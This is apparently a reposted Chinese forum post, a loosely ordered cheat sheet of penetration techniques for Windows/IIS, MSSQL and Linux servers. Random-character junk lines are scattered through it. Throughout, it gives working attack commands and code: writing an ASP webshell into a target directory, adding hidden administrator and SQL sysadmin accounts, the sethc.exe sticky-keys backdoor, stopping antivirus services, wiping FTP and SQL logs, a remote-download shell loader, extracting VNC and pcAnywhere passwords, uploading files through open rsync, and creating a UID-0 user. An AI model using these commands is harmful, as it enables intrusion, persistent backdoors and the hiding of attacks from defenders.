渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
On Error Resume Next
: M4 D- V/ b5 L& VIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

0 `3 j5 L9 v% Z  T4 OMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
/ U! k# c+ @' m9 \2 ^4 u- g( q+ ^
- _% q7 q- W* ]/ X0 d( u; TUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
. M$ }0 B3 b3 tEnd If
2 F4 i% ^7 J9 y! p2 D: z% s" `Set ObjService=GetObject

/ l' t$ [5 {6 ^("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
2 y; _/ O* v7 W9 u' h+ S$ b- n        If IsNumeric(obj3w.Name)

Then
3 i  s: O8 S6 a* n  r* j                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
) K& i) y8 {# Z0 J- c0 i8 x- M         

' }9 g* y: V) U  H       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
9 P3 U9 ^" H. `' U, ~, o/ A
<> 0 Then WScript.Quit (1)
9 n" X) ?- L9 z$ Z) j9 c7 u                WScript.Echo Chr(10) & "[" &
- H5 `6 N8 C( x! C* I1 }
+ M- S" x" ~* b! a% d  UOService.ServerComment & "]"
- ^3 V- p2 M8 `0 D                For Each Binds In OService.ServerBindings
! ^3 ]) c' u- T, i9 s( |+ e  E6 O     
2 v4 {9 T' M4 T! \' z. \
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
6 \/ u0 U6 L) n3 s* [7 @                        
- k! O' I# j7 d- W$ O6 \
/ n5 z8 |( Q. `4 v' n  L$ yWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
- `: q& X! E1 Q, q6 @      
- s- M# y2 I7 Q  v
         WScript.Echo "ath            : " & VDirObj.Path
( G/ M, n$ ~" y; i        End If
Next
复制代码
, k; u3 t* g0 }$ V4 t) q. `3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
- e4 h0 ^. P7 p6 _4 ?  ^WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
) l4 b* f) r' w& j5 \url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
) g/ t( u1 L; o/ Z# FphpMyAdmin/darkblue_orange/layout.inc.php
+ X, ?2 D% g4 }& Y3 jphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
( m+ v0 Q9 W$ A& o! r' B; {netsh ras show user #查看哪些用户可以拨入VPN
5 U, B5 {; h6 U* s" `' [netsh ras ip show config #查看VPN分配IP的方式
/ G9 E7 a. v7 \1 Y' }4 Dnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
! [1 Y; \; d0 Enetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
( X3 Y' Z1 O% s0 k然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
( B; c, E$ [; b$ N( f* B3 v在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
  d% h, v' z% e: z/ nz.changePassword("123456","")
z.setting("AccountType")=3;
3 |4 x. j! B% n  R
. G, J/ A4 D2 z' C" D+ qvbs:
& E# {9 G0 Z$ w, E* dSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
6 H) ]( a- @* Nz.changePassword "123456",""
% \8 z4 _0 }4 cz.setting("AccountType")=3
——————————————————
5 R9 Z4 n% M; [" Ncmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
7 Q2 S; E+ {1 O9 Z
3 Z) k: U+ U9 o+ ?4 k3 B  Y命令如下
! x8 a4 n8 Z4 Ecacls c: /e /t /g everyone:F           #c盘everyone权限
/ X% t8 g. s. f7 M. F  O/ N; Scacls "目录" /d everyone               #everyone不可读，包括admin
) s5 }; o) G6 b' L————————以下配合PR更好————
3389相关
# }0 C4 G6 m5 B$ E) u+ X8 Ba、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   
' H/ H- V( S# _+ Q5 b7 p
2 z. o: l3 n9 K杀软关闭（把杀软所在的文件的所有权限去掉）
/ X  d; }* v) z6 m$ ~4 D' p处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
' R" N- i* ~2 g! p6 enet stop "Symantec Event Manager" /y
0 {  y% y8 J: ]$ Q. Snet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
0 B& Q, L; |$ W
卖咖啡：net stop "McAfee McShield"
————————————————————

0 l2 R; l0 h# q4 c$ t/ F5次SHIFT：
) m, g1 P% d5 V: bcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
7 g0 t% ^, `( p: @5 }3 k/ u7 X隐藏账号添加：
) V$ A3 ~. a3 r1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
# y6 B  p- u, `5 F8 b! n6 r2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
+ Y1 i* F) Y) M% @0 ?9 o% H! qMSSQL扩展后门：
5 F: l- u9 i8 C/ XUSE master;
  x# Y& }, _# i* I$ t8 F% v. vEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
/ Z( S  N/ L- j& }$ H+ m* p日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
+ S" d. x0 m. q- L; v6 L当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
# w' ]4 e/ Y. W7 }4 i当停止msftpsvc服务后可直接删除ex011124.log
" L& O( J3 b% V0 ^4 s0 @% F
MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
, w" H4 ]" C9 G, ^1 v- gHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
% c* l  B5 U% n9 k$ [找到接接过的信息删除。
  `$ V; |3 Q1 J3 `MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
- y! k7 i" _, b+ ^' I; p* s—————————————————————————
3 p$ C1 f6 W5 u. i防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

0 D0 `# ^7 s# [7 [  \& E) ]<%
& e  O# ~% d: n0 T' L8 k2 I. \Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
* A; |" k* A4 c2 T) H% X) hDim Ads, Retrieval, GetRemoteData
+ i9 e% m4 h7 Y5 @$ e# B' U( ~$ ZOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
7 Y1 H- Q; e' ~1 z& z- ?With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
7 }( I5 W8 G% vSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
% X/ I" s/ M0 q% Z7 B2 J0 C.Type = 1
.Open
.Write GetRemoteData
8 d0 C3 i8 @& [# A.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
3 e8 N) g( A  v6 n9 q" o.Close()
End With
Set Ads=nothing
End Sub
  s: f* e1 V. J# w- [
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
) T* S) e; H$ l  x%>

: @  Y. {0 u6 n: f* rVNC提权方法:
0 x- A+ b7 G! t+ [+ j利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
" Y3 Q( R  l- @% }regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
% |5 ?: \2 T* w0 kHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
% r8 j) s4 Y; c: v( g保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
- ^0 |% Z9 w+ `, CUsers\Application Data\Symantec\pcAnywhere\文件夹下。
( {2 x0 l3 g$ Z& r( A——————————————————————
( B9 q/ C* o, n$ l  l! E" l搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
/ c& \6 @+ w- U0 yWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
. Z2 s8 f' J1 h# }$ C没有删cmd组建的直接加用户。
( e, ^5 C; k( {# u' E6 V( x7 Z# _7i24的web目录也是可写，权限为administrator。

1 q' D  N+ D! h7 c& x1433 SA点构建注入点。
7 q  V  ?: x: w- g# h<%
2 u# U% T. I% V# {strSQLServerName = "服务器ip"
& Y4 F  i1 j3 E4 T6 dstrSQLDBUserName = "数据库帐号"
% O4 q$ E- Z( o; KstrSQLDBPassword = "数据库密码"
4 W# ]# x, s* n$ ?4 l7 H8 O7 xstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
- f4 {, d* m8 K2 RstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
" W' S  D, V) L- @2 o7 Z/ M
8 c" {& J  |3 V0 |" l, {strSQLDBName & ";"
4 W1 |8 R; k, [7 kconn.open strCon
dim rs,strSQL,id
) [( n4 k6 }5 `% I! @set rs=server.createobject("ADODB.recordset")
' A3 L& v( a* |7 t" R  w* Kid = request("id")
, Y8 k' K; G- ~. L0 HstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
3 ]( I* X' c- O5 y$ }9 B- o& U%>
: O! ?6 A1 [! M' q; M$ k! T. a7 v复制代码
7 g7 D3 A* R6 S5 [6 F9 @& w$ p; p  y******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
+ m- U, Z. ]- N* L" f- K( R1 v9 C看看密码登录策略我们可以看到使用了file ldap模式
$ I* U( Y1 v% K, w6 F4 Q
3 u8 Y  O) B. ?- V2.less /etc/ldap.conf
, ^% _' f! w' N/ O& ?, O  V9 T9 [base ou=People,dc=unix-center,dc=net
: `2 ^! C: s2 g8 C1 s4 A5 x- q找到ou,dc,dc设置

3.查找管理员信息
匿名方式
) K7 e: w( n! _% Uldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
$ V! P$ A3 D9 K& [
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
* F" D1 ?' @: ^# o6 I有密码形式
7 j% _' Y7 Y2 H, t4 I" s) Aldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
* q; \1 T$ f0 }" L& n; w
0 I/ O7 k: c8 y, U0 T- X. h2 e1 Z6 @"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

1 h' |3 q% K( `, `& t
4.查找10条用户记录
* [: }" ^7 g2 Cldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

. N$ x/ E. J" y1 I实战:
9 h! w. [; O* r1 V1.cat /etc/nsswitch
  q4 Y, L( Q* n+ f看看密码登录策略我们可以看到使用了file ldap模式
3 N6 M$ `* R! C! [
* V% m! j% S/ o& K" j% l# s2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
( p( T. B+ L: @% Y% ^找到ou,dc,dc设置

3.查找管理员信息
匿名方式
& J6 w1 E# `( K; Z0 S$ Nldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

+ m, A  o) X7 S' d2 A"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
2 i6 {" I1 [( i* D5 e# ildapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

2 x# H$ ~9 K/ n/ E0 A# X9 w9 Z% V"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

% I* D& W1 w$ F, M
$ Q; c; [: P1 [- F3 K  v: p4.查找10条用户记录
8 u! ?8 m6 ^: C) {8 wldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1.返回所有的属性
( ?) w9 S. n4 L) m) O+ Jldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
5 J2 ^- a8 J1 O" Z, o4 Xversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
: n. H5 i/ T8 j6 ^: G) j: e
dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
: d" |7 s2 Y& GobjectClass: top
sn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
& M, p) `. [; m8 Q9 ^# O7 X) M! ?objectClass: inetOrgPerson
' N# T% j- v5 ~0 I9 wobjectClass: organizationalPerson
% s" w4 c0 u4 a0 t* x! a+ XobjectClass: person
* f/ J4 R1 z* x7 V6 [objectClass: top
" H3 Z  A" ]/ P& `/ D1 E' k, Y+ r$ X7 ssn: superadmin
, V! {+ h) K& C4 b1 Mcn: superadmin
$ N' p# T) n0 ?) y; f  F1 e
dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
: F3 P  }4 _3 w& R4 ZobjectClass: organizationalPerson
objectClass: person
1 q7 S4 K( ~7 L- U% h6 _; H  x' r  MobjectClass: top
sn: admin
cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
1 G: i7 Q3 Z; |0 Ccn: dcp_anonymous
$ x6 O! x* S. ~1 n; ~
2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
; O$ F& J( |* F7 c0 Z
more
1 z/ G, U: s) e6 |; `version: 1
dn: dc=ruc,dc=edu,dc=cn
- U! M% r! v9 G$ T4 M( @2 o0 K8 zdc: ruc
objectClass: domain

. ^# }5 Y- j. t, _8 x3.查找
4 n& E2 J: e5 y1 Dbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
objectClass: top
% s( O: N" F: rnamingContexts: dc=ruc,dc=edu,dc=cn
0 c8 R5 p( ]6 C0 c' hsupportedExtension: 2.16.840.1.113730.3.5.7
0 d+ s0 l! P! h/ d( W# E; f. FsupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
1 j; {: k! B2 ?- h. GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
0 j) ^. V6 m: f% _4 U1 KsupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
* a4 ?" h; H4 [. ssupportedExtension: 2.16.840.1.113730.3.5.4
* `5 _; E( B2 ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
$ y/ T' D1 h( ~4 p8 msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
, J" y% _# O  Z1 N' Y/ ], gsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
8 l( u% `% K4 M; w  i; S% UsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
: d2 M3 g' n3 ]1 D6 o. {2 N) N7 Q( ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
3 F/ q- r; M4 k0 S5 I8 x( X. EsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
$ G- K: \  U# n: ^5 JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
0 K9 y5 y1 t  m  x+ esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
% S: F+ r; K6 ?2 ^7 MsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
# d! {: X. _' U1 K' B! TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
2 M. B% T. S- E) C! `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
# y1 ]  S2 U% P- ~  m! l$ PsupportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
% O4 X4 A$ g' F3 ~/ ksupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
8 q! N* P5 l9 Q% I8 l3 V7 E/ _4 H8 ssupportedControl: 2.16.840.1.113730.3.4.15
" O# c, y7 ?; T3 _) csupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
# k$ L& _4 I5 J' k" h0 r0 ?supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
3 [0 r  _7 s* I  |( DsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
% P( O& z. r+ ~! |( `supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
, f3 `1 L8 M$ v2 O6 @2 u# K! @, jsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
) e- C# G( p4 L; s$ I) _supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
" g7 u2 v. g: \0 b) n' x" dsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
( v: d/ u. B; Z( v+ X9 ?netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
0 v& L8 @, g* j* f  U4 ysupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
8 z- ?6 I5 e, A( |supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
9 v# K8 Q" M; {7 g7 LsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
; ?& t0 G& i2 w; G0 c# osupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
3 r7 [4 t% b: k9 W# \3 a3 t1 P4 G( ksupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
# p5 G+ Z7 \, ]9 h* I4 T2 G2 |5 XsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
4 v/ r3 ^5 J. `9 P, `" esupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
% ?7 \/ u3 o8 v6 L, B1 tsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
. y7 y9 w2 i: D8 k9 d5 a0 ?supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
) Y  e' }* R* i# j$ j; ]# tsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
( d0 v5 y% v$ z5 F; W5 j$ X* ^supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
* j( p! |$ S6 L2 Z# s5 C! k, N. asupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
+ G3 R' L, h1 J1 w+ [; |supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
! R$ A- O4 G; }  dsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
% H) t. ]7 v2 W# ?; f" UsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
! q  b# F; Z4 x) S1 W8 Y" q. [supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
8 L; e7 d" e5 Y7 y$ P, z0 W1 JsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
3 ?0 q2 r  Q/ ^7 m3 T( FsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
, b) F5 t" W+ v6 |( BsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
" W9 ^' b! D; _$ S3 YsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
$ k  G8 i# |+ U' I9 \supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
# t; U1 W! L+ ysupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
( V6 \! V  z) ], r0 }4 |0 [supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
5 g% J" @& u6 a% dsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
9 }" s4 x9 a4 P( e( q————————————
  X- ~% ]7 t  G- p* }7 c- @9 A2. NFS渗透技巧
showmount -e ip
6 c* T6 H6 C; N/ W% B列举IP
——————
2 H7 X6 V! S" X2 k: o/ M, x- `3.rsync渗透技巧
, E% Z/ R* n" c1.查看rsync服务器上的列表
rsync 210.51.X.X::
0 c" @, m( H& D$ cfinance
2 x# f  H9 J; f& C/ t8 k* ~img_finance
auto
img_auto
+ d* L( g3 T; \3 R6 D2 k. Bhtml_cms
img_cms
6 o; H; B) T6 l2 g- _7 A4 g* Fent_cms
ent_img
ceshi
res_img
, a3 D0 E! [8 q' b: eres_img_c2
chip
chip_c2
7 U' e" Z" U5 c6 m; V6 bent_icms
1 r' g1 d2 Y0 q" }0 Wgames
gamesimg
media
2 W4 F9 n# l/ P/ J- O8 Zmediaimg
fashion
res-fashion
+ s3 @9 Y& ^1 q, X' Yres-fo
% O4 }3 N1 v7 y. Gtaobao-home
res-taobao-home
house
res-house
" ?3 j5 f$ @( h# L% }, \6 Gres-home
% ]/ l. i' Q$ ]1 }- b1 P' I5 g# \! {res-edu
& M! F0 J9 y5 E* a8 _3 G: Nres-ent
- ?( G# v) o* m, Xres-labs
! i) b# {, y, y# eres-news
res-phtv
res-media
home
edu
; S$ S2 X: ^# ?news
4 E" k6 ~7 g6 K$ `8 L0 [res-book

) K8 j  Y+ W, q2 x9 ~* S8 A2 z看相应的下级目录(注意一定要在目录后面添加上/)
6 [) \/ R+ ]4 y% \9 a6 b
! [: I# N; Q3 e! S- O& N* s3 l
  s* ?7 l4 ^% m' p$ S% \rsync 210.51.X.X::htdocs_app/
' r- \* {7 O. t6 Mrsync 210.51.X.X::auto/
2 L# d# B8 G0 n! F( a5 ]$ Y) u7 r7 b/ ~1 [rsync 210.51.X.X::edu/
$ _5 O; O2 x$ E% |
2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
& E; b% k$ ]1 @0 Q- q; y& P1 m
: `" q! |5 ^( Q" X/ Z四.squid渗透技巧
nc -vv baidu.com 80
$ @. m6 {* R; d6 S6 G- S+ pGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
* ]9 D) w- b7 U- m$ D五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
/ A$ p2 _+ n2 V1 e* [% E6 o1 N
六.joomla渗透小技巧
5 P+ u8 d/ G: N; M, o, q2 k确定版本
( {# y6 o7 l& K7 M8 nindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
9 X1 @$ S  R8 N, |0 _  [# G
  n/ P0 W) d+ M  _15&catid=32:languages&Itemid=47

" w: q1 g6 O/ q  s# U; Q8 {重新设置密码
index.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
& K5 ^, E% m4 K
八.freebsd本地提权
, f+ r) d% A: K/ u* B+ k[argp@julius ~]$ uname -rsi
2 e! f* x3 w! v' a) v9 D% d* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
; T2 r% e( K$ A2 V; t) T" V* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
% Z7 X" }2 R' [- G( X# W* [argp@julius ~]$ ./nfs_mount_ex
. K* U% `% z+ u0 e6 h/ P& t*
calling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
